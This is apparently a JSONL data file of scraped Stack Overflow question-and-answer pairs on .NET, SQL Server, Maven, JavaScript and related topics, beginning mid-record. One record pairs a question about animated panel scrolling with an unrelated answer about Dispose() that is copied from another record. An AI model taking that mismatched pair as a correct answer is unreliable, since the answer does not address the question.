outside of\n  ASCII. What you see at a console may\n  depend on your operating system\n  locale; Windows lets me type in\n  ISO-Latin-1.\n```\n```\n> >>> a = unicode('André','latin-1')\n> >>> a u'Andr\\202'\n```\n```\nIf you can't type an acute letter e,\n  you can enter the string 'Andr\\202',\n  which is unambiguous.\nUnicode supports all the common\n  operations such as iteration and\n  splitting. We won't run over them\n  here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.640505"}
{"id": "hf_1698f6e46f5e", "question": "<p>I am trying to create a custom control that a \"gridview\" like control but specifcally for business objects that implement certain custom interfaces. </p>\n\n<p>In doing this I have come across the following problem.</p>\n\n<p>I have a control that I have disabled viewstate on (and I don't want to re-enable it) and it has a child control that I want viewstate enabled on.  I can't seem to get the viewstate on the child control to work since its parents is disabled.  Does anyone have any ideas of how to get that to work?</p>\n", "question_body": "", "answer": "You cannot enable viewstate on a control which is within another control that has viewstate disabled.\nYour only option is to enable it for the outer control, and then turn it off for all of the controls within it, except for the control you need viewstate.\nEnableViewState property on any container will override the behavior of all controls within that containter.\nGood Luck!\nEDIT:\nYou may want to look at your\nCreateChildContols()\nmethod and enumerate the controls disabling viewstate from there for each of the controls within the custom control using the\nEnableViewState\nproperty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.690760"}
{"id": "hf_8eb815c83c77", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/16660/internationalization-in-ssrs\">Internationalization in SSRS</a>  </p>\n</blockquote>\n\n\n\n<p>We use SQL Server Reporting Services for our web reports. At the moment, our clients are all in the UK, so for each report, we set the Language property for the report to \"English (United Kingdom)\".</p>\n\n<p>But now we have US and French clients. So, we'll need to change the language and currency for the French, and the date format and currency for the Americans. We want to keep one set of reports for all our clients.</p>\n\n<p>What is the best way to do this?</p>\n", "question_body": "", "answer": "The report will be rendered with the web browsers language in regard to formatting of dates, currencies and so on if the report's language has not been set. See\nMSDN documentation\n:\nIf the language of the report is not set, the language of the Web browser is used. If the language of the Web browser is not set, the language of the operating system of the report server is used. For example, if you set a specific language on a text box that displays date information, then that text box is always displayed with the date format for that language even if the report, Web browser or server is set to a different language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.784982"}
{"id": "hf_2359d5ac0b69", "question": "<p>I have a program I've written in VB.NET 2005, it saves statistics in an XML file.  </p>\n\n<p>I use this program on multiple computers.   I'd like to set up a webserver where I can upload my XML file, or just the data, and add it to the server ignoring duplicate entries already on the server.  </p>\n\n<p>What do I need for to learn for this? SQL?  </p>\n\n<p>Any ideas would be appriecated!</p>\n", "question_body": "", "answer": "I did something like this a long time ago to send back HFNetChk XML reports from around the world back to a central server.\nI set up a service endpoint on the server (webservice, TCP, whatever fits your req's), and had the client app send the finished XML back to the central server when it was done with its processing.  The webserver would send back a \"data received OK\" message to let the client know it could move on, and then the server would go about processing the data, and entering it from the XML into a SQL database.\nSo, to answer your question,\nlearn how to create a WCF service (aim for webservices for now - ASMX is ok if WCF seems to be too much for now), and learn how to parse the incoming XML and insert it into meaningful SQL tables.\n/fark can be useful", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.836140"}
{"id": "hf_3f82130596bc", "question": "<p>What is the best way to get the names of all of the tables in a specific database on SQL Server?</p>\n", "question_body": "", "answer": "```\n```\nexec sp_msforeachtable 'print ''?'''\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.900266"}
{"id": "hf_86de86cbea5e", "question": "<p>In few months I start a project in PHP and I am hesitating to do like usual : develop on my Windows Vista 64bits machine. Since I know few things on Linux, I think it can be a good way to learn by working on a Linux distribution.</p>\n\n<p><strong>Do you think it's a good idea or not?</strong> I would run a <a href=\"http://www.virtualbox.org/\" rel=\"nofollow noreferrer\">VirtualBox</a> with Ubuntu (on my Vista64bits). I was thinking to install <a href=\"http://www.apachefriends.org/en/xampp-linux.html\" rel=\"nofollow noreferrer\">XAMPP</a> to be able to develop in PHP.</p>\n\n<p>If you think it's a good idea, feel free to suggest me some tutorial about what I should know with Virtualizing an OS, or Linux/dev.</p>\n\n<p><strong>Update</strong>\nI have build many website in PHP with Windows, the question is more about if it's a good way to start learning Linux by developing on it via a Virtual machine? I have 4 gigs rams, will it be smooth if I install Eclipse in the Virtual Machine? etc.</p>\n", "question_body": "", "answer": "PHP\nshould\nbe the same on any platform - so\nwhere\nyou develop shouldn't matter.\nHowever, in my experience and observation,more sites running PHP are running on Linux than Windows.\nGetting Apache and PHP setup on something like Ubuntu or Fedora is a cinch, and testing everything is pretty simple, too.\nAlso, when you go live with your site, what platform will it be running on? I prefer to do development on the platform it will be running on whenever possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.924592"}
{"id": "hf_4132082cc5f1", "question": "<p>How do you prepare your SQL deltas? do you manually save each schema-changing SQL to a delta folder, or do you have some kind of an automated diffing process?</p>\n\n<p>I am interested in conventions for versioning database schema along with the source code. Perhaps a pre-commit hook that diffs the schema?</p>\n\n<p>Also, what options for diffing deltas exist aside from <a href=\"http://dbdeploy.com/\" rel=\"noreferrer\">DbDeploy</a>?</p>\n\n<p><strong>EDIT:</strong> seeing the answers I would like to clarify that I am familiar with the standard scheme for running a database migration using deltas. My question is about creating the deltas themselves, preferably automatically.</p>\n\n<p>Also, the versioning is for PHP and MySQL if it makes a difference. (No Ruby solutions please).</p>\n", "question_body": "", "answer": "See\nIs there a version control system for database structure changes?\nHow do I version my MS SQL database in SVN?\nand Jeff's article\nGet Your Database Under Version Control\nI feel your pain, and I wish there were a better answer.  This might be closer to what you were looking for.\nMechanisms for tracking DB schema changes\nGenerally, I feel there is no adequate, accepted solution to this, and I roll my own in this area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.961837"}
{"id": "hf_6aa93ba70987", "question": "<p>What are the main reasons for having ridiculously long export times for a simple flash movie to swf? I have no unnecessary images or symbols, everything possible is set to lower than low and it still takes 10 minutes and upwards to export a 30 second animation at 24 fps. I have even created a new fla and pasted everything in there, to find out if it isn't maybe just a bug in flash. All other animations I've exported take a normal amount of time. </p>\n\n<p>System specifications:\n1GB DDR2 RAM\nIntel Pentium D 3.4GHz</p>\n\n<p>Should I upgrade my system?</p>\n\n<p>Could it have something to do with having many symbols within symbols?</p>\n\n<p>EDIT: Filesize of fla is 1.3 MB and swf is 500 KB. So not too big.</p>\n", "question_body": "", "answer": "unfortunately this is pretty average with flash.\nYou can check out this post on\nactionscript.org\nwhich talks about splitting up your project so save on compile time.\nBack in the AS2 days an open source compiler called\nMTASC\nwhich dramatically reduced the\ncompile time\n.  It has since turned into\nHaxe\nwith AS2, AS3, Javascript, PHP, and Neko virtual machine all using the same syntax. The syntax used is similar to C++.\n** EDIT **\nSorry I read the above as 10 seconds, not 10 minutes... sorry. ^_^", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.998129"}
{"id": "hf_0ad069e75c99", "question": "<p>I have an application where whenever a file is uploaded to a directory, I have to call SSIS to parse the XML file.</p>\n\n<p>Can I call a SSIS directly from a .NET Windows service?</p>\n", "question_body": "", "answer": "Running SSIS package programmatically\n.\nI prefer the second method:\nStart DTEXEC.EXE process. DTEXEC is command line utility for executing SSIS packages. See its command line options here:\nhttp://msdn2.microsoft.com/en-us/library/ms162810.aspx\nBenefits: running package out of process gains reliability. Can be used from any programming language (including .NET 1.1 :)). Easy to pass parameters by setting variables values.\nDrawbacks: Also local only. Harder to get information about package progress (but SSIS logging can give you most functionality). Some overhead on starting new process (likely minimal compared to execution time for big packages).\nASP.NET specific: Win32 CreateProcess function ignores the thread impersonation. So if you want DTEXEC to run under account different from ASP.NET process account, you should either make user enter name/password and pass it to Process.Start, or use method described in the following KB to run child process under impersonated account\nhttp://support.microsoft.com/kb/889251\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.032867"}
{"id": "hf_41f0880397bf", "question": "<p>I'm trying to write a tennis reservation system and I got stucked with this problem.\nLet's say you have players with their prefs regarding court number, day and hour.\nAlso every player is ranked so if there is day/hour slot and there are several players\nwith preferences for this slot the one with top priority should be chosen.\nI'm thinking about using some optimization algorithms to solve this problem but I'am not sure what would be the best cost function and/or algorithm to use.\nAny advice? \nOne more thing I would prefer to use Python but some language-agnostic advice would be welcome also.\nThanks!</p>\n\n<p>edit:</p>\n\n<p>some clarifications-</p>\n\n<p>the one with better priority wins and loser is moved to nearest slot,\nrather flexible time slots question\nyes, maximizing the number of people getting their most highly preffered times </p>\n", "question_body": "", "answer": "This is an NP-complete problem, I think, so it'll be impossible to have a very fast algorithm for any large data sets.\nThere's also the problem where you might have a schedule that is impossible to make. Given that that's not the case, something like this pseudocode is probably your best bet:\n```\n```\nsort players by priority, highest to lowest\nstart with empty schedule\nfor player in players:\n    for timeslot in player.preferences():\n        if timeslot is free:\n            schedule.fillslot(timeslot, player)\n            break\n    else:\n        #if we get here, it means this player couldn't be accomodated at all.\n        #you'll have to go through the slots that were filled and move another (higher-priority) player's time slot\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.081805"}
{"id": "hf_ce8ffe9715e7", "question": "<p>How you fix the following Hibernate error:</p>\n\n<p>What does \"Use of the same entity name twice\".</p>\n", "question_body": "", "answer": "I think it means you have declared the same entity in more than one configuration file.\nWithout more information, I would try commenting out chunks of your config file so that you don't see the error, and then slowly adding sections back in until you encounter the error?\nIf its only a few config files, then why not post them here? When posting, if you add 4 spaces to the front of your XML, then it will be:\n```\n```\n<xml>nicely formatted</xml>\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.106833"}
{"id": "hf_7fbe25167d03", "question": "<p>What are they and how do they work?</p>\n\n<p>Context happens to be SQL Server</p>\n", "question_body": "", "answer": "According to\nWikipedia\n:\n[...] A traditional pipe is \"unnamed\" because it exists anonymously and persists only for as long as the process is running. A named pipe is system-persistent and exists beyond the life of the process and must be \"unlinked\" or deleted once it is no longer being used. Processes generally attach to the named pipe (usually appearing as a file) to perform IPC (inter-process communication).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.143298"}
{"id": "hf_abadd43c713d", "question": "<p>I want completely automated integration testing for a Maven project.  The integration tests require that an external (platform-dependent) program is started before running.  Ideally, the external program would be killed after the unit tests are finished, but is not necessary.  </p>\n\n<p>Is there a Maven plugin to accomplish this?  Other ideas?</p>\n", "question_body": "", "answer": "You could use the\nantrun\nplugin. Inside you would use ant's\nexec\napply\ntask.\nSomething like this.\n```\n```\n<plugin>\n    <groupId>org.apache.maven.plugins</groupId>\n    <artifactId>maven-antrun-plugin</artifactId>\n    <version>1.2</version>\n    <executions>\n      <execution>\n        <phase> <!-- a lifecycle phase --> </phase>\n        <configuration>\n\n          <tasks>\n            <apply os=\"unix\" executable=\"cmd\">\n              <arg value=\"/c\"/>\n              <arg value=\"ant.bat\"/>\n              <arg value=\"-p\"/>\n            </apply>\n            <apply os=\"windows\" executable=\"cmd.exe\">\n              <arg value=\"/c\"/>\n              <arg value=\"ant.bat\"/>\n              <arg value=\"-p\"/>\n            </apply>\n          </tasks>\n\n        </configuration>\n        <goals>\n          <goal>run</goal>\n        </goals>\n      </execution>\n    </executions>\n  </plugin>\n```\n```\nAnt support os specific commands of course through the\ncondition task\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.168165"}
{"id": "hf_b3e6ed371ed2", "question": "<p>I'm working on a project where I have 2 web services that need the same entity. The 2 web services are on the same server so on the back-end, they share the same classes. </p>\n\n<p>On the front-end side, my code consumes <em>both</em> web services and sees the entities from both services as separate (in different namespaces) so I can't use the entity across both services.</p>\n\n<p>Does anyone know of a way to allow this to work in .NET 2.0?</p>\n\n<p>I've done this with my entity:  </p>\n\n<pre><code>[XmlType(TypeName = \"Class1\", Namespace = \"myNamespace\")]\npublic class Class1\n{\n    public int field;\n}\n</code></pre>\n\n<p>Hoping that my IDE would somehow \"know\" that the class is the same on both web services so that it wouldn't create separate entities for both classes, but no luck.</p>\n\n<p>Is this possible to do with .NET 2.0 web services?</p>\n", "question_body": "", "answer": "I'm not sure about the implementation details with .NET 2.0, but I believe what you want to do is put the common classes in a seperate XSD file and refer to it from within your two WSDL's. This way, the common types have the same namespace between the two services.\nNow, how you do this in .NET 2.0 I couldn't give you the specifics on...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.193884"}
{"id": "hf_2408b8ed994e", "question": "<p>I have currently 200+ GB database that is using the DB2 built in backup to do a daily backup (and hopefully not restore - lol) But since that backup now takes more than 2.5 hours to complete I am looking into a Third party Backup and Restore utility.  The version is 8.2 FP 14 But I will be moving soon to 9.1 and I also have some 9.5 databases to backup and restore.  What are the best tools that you have used for this purpose?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It's not a \"third-party\" product but anyone that I have ever seen using DB2 is using\nTivoli Storage Manager\nto store their database backups.\nMost shops will set up archive logging to TSM so you only have to take the \"big\" backup every week or so.\nSince it's also an IBM product you won't have to worry about it working with all the different flavors of DB2 that you have.\nThe downside is it's an IBM product.  :)   Not sure if that ($) makes a difference to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.231605"}
{"id": "hf_dc93ce3e0bca", "question": "<p>I know I could just ask, but that would involve bureaucratic entanglements.</p>\n", "question_body": "", "answer": "I believe that on an AD network that is DNS enabled the root zone points at all the AD servers.  So, for instance, if your official AD username is joebloe@company.ad, doing an nslookup of company.ad from cmd.exe will tell you all the IPs of the controllers (and hence all the IPs you could use for LDAP).\nThis is edited to change the zone name, but one my work system:\n```\n```\nC:\\Documents and Settings\\jj33>nslookup companyname.ad\nServer:  palpatine.companyname.ad\nAddress:  172.19.1.3\n\nName:  companyname.ad\nAddresses:  172.16.3.2, 172.16.6.2, 172.19.1.3, 172.16.7.9\n          172.19.1.14, 172.19.1.11\nC:\\Documents and Settings\\jj33>\n```\n```\nOn my (XP) machine, this shows me my AD domain:\nRight click \"My Computer\"\nSelect \"Computer Name\" tab\nSee \"Domain:\" field", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.267750"}
{"id": "hf_0486956fc268", "question": "<p>How can I represent the following in XSD.</p>\n\n<pre><code>&lt;price-update&gt;\n    &lt;![CDATA[\n      arbitrary data goes here\n    ]]&gt;\n&lt;/price-update&gt;\n</code></pre>\n", "question_body": "", "answer": "A CDATA tag is merely a means of escaping data as a text node.  Therefore you cannot stipulate that you require a CDATA node.\nFrom a DOM perspective, the following documents are identical:\n```\n```\n<doc>value</doc>\n```\n```\nand\n```\n```\n<doc><![CDATA[value]]></doc>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.290719"}
{"id": "hf_90c1fd76b415", "question": "<p>I'm looking for the class name of the popup/message windows on the iPhone (it's a blueish window that comes up when you have a missed call, or a message comes in for example.)</p>\n", "question_body": "", "answer": "The class is called\n```\nUIAlertView\n```\n. From the documentation:\nUse the UIAlertView class to display an alert message to the user. An alert view functions similar to but differs in appearance from an action sheet (an instance of UIActionSheet).\nUse the properties and methods defined in this class to set the title, message, and delegate of an alert view and configure the buttons. You must set a delegate if you add custom buttons. The delegate should conform to the UIAlertViewDelegate protocol. Use the show method to display an alert view once it is configured.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.315567"}
{"id": "hf_09fffe8901e1", "question": "<p>This is something that I have never fully grasped in .NET as to the correct application of the .dispose() method.</p>\n\n<p>Say I have something like</p>\n\n<pre><code>Public Class someClass()\n  sub someMethod\n    ' do some stuff tying up resources\n  end sub\nEnd Class\n\npublic class mainApp \n  dim _class as new SomeClass\n  _class.someMethod()\nEnd Class\n</code></pre>\n\n<p>In all cases is it good practice to implement a dispose method, and if so what should go in there?</p>\n\n<p>If it is not the case that every class should have dispose method (which my gut feeling says the shouldn't) what classes should? I have always thought anything which may tie up a resource (i.e. connection, datareader etc) should have a .dispose() which would unallocate these resources. </p>\n\n<p>Also how would you enforce a calling into calling the .dispose() method?</p>\n", "question_body": "", "answer": "The\n```\nDispose()\n```\nmethod is used for cleaning up any resources early. Although the garbage collector reclaims any unused memory for you, it's up to you to do deal with things like network/database connections and file handles. Normally, you'd want these things freed up as soon as they're no longer needed, so you implement the disposable pattern and take advantage of the\n```\nUsing\n```\nstatment for calling it within a try/finally block behind the scenes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.362483"}
{"id": "hf_9c04147b2aca", "question": "<p>I have a form where controls are dynamically added to a Panel.  However, when they do so, they are many times added below the fold (bottom of the container).  It's nice that the .NET Framework provides this ScrollControlIntoView method, however, for added usability, it would also be nice if there was an easy way to animate so that it is easy for the user to understand that the Panel was automatically scrolled.</p>\n\n<p>Has anyone ever encountered this or have any ideas as to how to tackle it?</p>\n", "question_body": "", "answer": "The\n```\nDispose()\n```\nmethod is used for cleaning up any resources early. Although the garbage collector reclaims any unused memory for you, it's up to you to do deal with things like network/database connections and file handles. Normally, you'd want these things freed up as soon as they're no longer needed, so you implement the disposable pattern and take advantage of the\n```\nUsing\n```\nstatment for calling it within a try/finally block behind the scenes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.386335"}
{"id": "hf_afea406e2b2b", "question": "<p>c# windows forms: How do you create new settings at run time so that they are permanently saved as Settings.Default.-- values?</p>\n", "question_body": "", "answer": "Since the Settings class is generated at build time (or, actually, whenever you update the settings file from within the designer), you can't use this mechanism for dynamic scenarios. You can, however, add some collection or dictionary to the application settings and modify that dynamically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.411214"}
{"id": "hf_7960eca444fb", "question": "<p>I'm hoping there's something in the same conceptual space as the old VB6 <code>IsNumeric()</code> function?</p>\n", "question_body": "", "answer": "Try the\nisNan function\n:\nThe isNaN() function determines whether a value is an illegal number (Not-a-Number).\nThis function returns true if the value equates to NaN. Otherwise it returns false.\nThis function is different from the Number specific\nNumber.isNaN()\nmethod.\nThe global isNaN() function, converts the tested value to a Number, then tests it.\nNumber.isNan() does not convert the values to a Number, and will not return true for any value that is not of the type Number...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.476756"}
{"id": "hf_8371f69d04b2", "question": "<p>I want to allocate a 2 D Array in Java Script. </p>\n\n<p>I want do some thing similar to this in JavaScript</p>\n\n<pre><code>typedef struct\n{\n   int  itemA,\n   int  itemB,\n   string testC\n} myStruc;\n\nmyStruct MyArray [100];\n</code></pre>\n\n<p>How to do this ? </p>\n", "question_body": "", "answer": "There are  a few ways of creating arrays in Javascript, the method closest to what you want to do should be:\n```\n```\nvar myArray = new Array(\"someString1\", \"someString2\", \"someString3\", ...);\n```\n```\nYou can replace\n```\n\"someString1\"\n```\nwith actual objects.\nYou can also use the Array constructor to set up the initial length:\n```\n```\nvar myArray = new Array(5);\nmyArray[0] = ...;\nmyArray[1] = ...;\n```\n```\nArrays in Javascript are pretty loose actually - you don't even need to define the length before you access an element that would normally be outside the bounds of the array.\nTake a look at\nthe Mozilla documentation on Arrays\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.501774"}
{"id": "hf_eaa6ad991c24", "question": "<p>When using the .NET WebBrowser control how do you open a link in a new window using the the same session (ie.. do not start a new ASP.NET session on the server), or how do you capture the new window event to open the URL in the same WebBrowser control?</p>\n", "question_body": "", "answer": "I just spent an hour looking for the answer, so I though I would post the results here. You can use the SHDocVwCtl.WebBrowser_V1 object to capture the NewWindow event.\nNOTE: Code from\nhttp://www.experts-exchange.com/Programming/Languages/Visual_Basic/Q_21484555.html#discussion\n```\n```\n//-------------------------------VB.NET Version:-------------------------------\n\nDim WithEvents Web_V1 As SHDocVwCtl.WebBrowser_V1\n\nPrivate Sub Form_Load()\n    Set Web_V1 = WebBrowser1.Object\nEnd Sub\n\nPrivate Sub Web_V1_NewWindow(ByVal URL As String, ByVal Flags As Long, ByVal TargetFrameName As String, PostData As Variant, ByVal Headers As String, Processed As Boolean)\n    Processed = True\n    WebBrowser1.Navigate URL\nEnd Sub\n\n//-------------------------------C# Version-------------------------------\n\nprivate SHDocVw.WebBrowser_V1 Web_V1; //Interface to expose ActiveX methods\n\nprivate void Form1_Load(object sender, EventArgs e)\n{\n    //Setup Web_V1 interface and register event handler\n    Web_V1 = (SHDocVw.WebBrowser_V1)this.webBrowser1.ActiveXInstance;\n    Web_V1.NewWindow += new SHDocVw.DWebBrowserEvents_NewWindowEventHandler(Web_V1_NewWindow);\n}\n\nprivate void Web_V1_NewWindow(string URL, int Flags, string TargetFrameName, ref object PostData,string Headers, ref bool Processed)\n{\n    Processed = true; //Stop event from being processed\n\n    //Code to open in same window\n    this.webBrowser1.Navigate(URL);\n\n    //Code to open in new window instead of same window\n    //Form1 Popup = new Form1();\n    //Popup.webBrowser1.Navigate(URL);\n    //Popup.Show();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.571723"}
{"id": "hf_55449595c450", "question": "<p>How do you protect your commercial application from being installed on multiple computers from people who only own one license?</p>\n\n<p>Do you think it's a good idea to have more than just a serial based scheme?</p>\n", "question_body": "", "answer": "You can always use a USB dongle if the software is worth it. Of course, all dongle manufacturers claim that their copy protection cannot be broken.\nThe advantage of this method is that it allows the user to use the software on multiple computers, but only run on one at a time, and it is actually not such hassle like some sort of product activation. The disadvantage, of course, is that you cannot deploy your application completely electronically. Even though you might think the opposite, actually many customers seem to accept the use of a dongle, at least in the field I work in. It's especially useful if you expect your customers to use (and also install!) the software in a place where no internet connection is available.\nEdit: I overread the serial-based thing in the original question. Note that even that may annoy users more than having to put in a dongle, and it's easier for you too because neither the customer nor you have to deal with that numbers. Plug in the dongle and the app works. However, the serial-only method is by far the cheapest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.619902"}
{"id": "hf_3372451eb78b", "question": "<p>It appears that our implementation of using Quartz - JDBCJobStore along with Spring, Hibernate and Websphere is throwing unmanaged threads.  </p>\n\n<p>I have done some reading and found a tech article from IBM stating that the usage of Quartz with Spring will cause that.  They make the suggestion of using CommnonJ to address this issue.</p>\n\n<p>I have done some further research and the only examples I have seen so far all deal with the plan old JobStore that is not in a database.</p>\n\n<p>So, I was wondering if anyone has an example of the solution for this issue.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "We have a working solution for this (two actually).\n1) Alter the quartz source code to use a WorkManager daemon thread for the main scheduler thread.  It works, but requires changing quarts.  We didn't use this though since we didn't want maintain a hacked version of quartz.  (That reminds me, I was going to submit this to the project but completely forgot)\n2) Create a WorkManagerThreadPool to be used as the quartz threadpool.  Implement the interface for the quartz ThreadPool, so that each task that is triggered within quartz is wrapped in a commonj Work object that will then be scheduled in the WorkManager.  The key is that the WorkManager in the WorkManagerThreadPool has to be initialized before the scheduler is started, from a Java EE thread (such as servlet initialization).  The WorkManagerThreadPool must then create a daemon thread which will handle all the scheduled tasks by creating and scheduling the new Work objects.  This way, the scheduler (on its own thread) is passing the tasks to a managed thread (the Work daemon).\nNot simple, and unfortunately I do not have code readily available to include.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.676264"}
{"id": "hf_24629031c170", "question": "<p>I have a few databases that I always use SQL Server Management Studio with. I'd like to be able to create a toolbar button or keyboard shortcut that automatically opens a new query window (in the current SSMS instance) and connects to a given (registered, perhaps) database.  That's it.  That's all I need.  And this ashtray, and the paddle game, and the remote control.  That's all I need.</p>\n\n<p>As it is now, I have to expand the Object Explorer, collapse/expand two to eight trees, right-click on my database, and choose \"New Query\".  I see no way to do it, this would probably save me 30-60 seconds a day.</p>\n", "question_body": "", "answer": "You could create a shortcut to launch SQL Server Management studio using command line parameters, as follows:\nSQLWB.EXE\n- launches SQL Server Management Studio from the Command Prompt or Start -> Run text box. Through its switches, you can specify which type of server (-t S, -t A, or -t C for SQL Server, Analysis Server, or SQL Server Mobile Edition, respectively), server name (-S), and database (-d) you want to connect to, provide authentication information, or designate which queries, projects, or solutions to open (-i filename). The defaults (in absence of switches) are defined in the Tools -> Options menu of the SQL Server Management Studio.\n[Source]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:48.750935"}
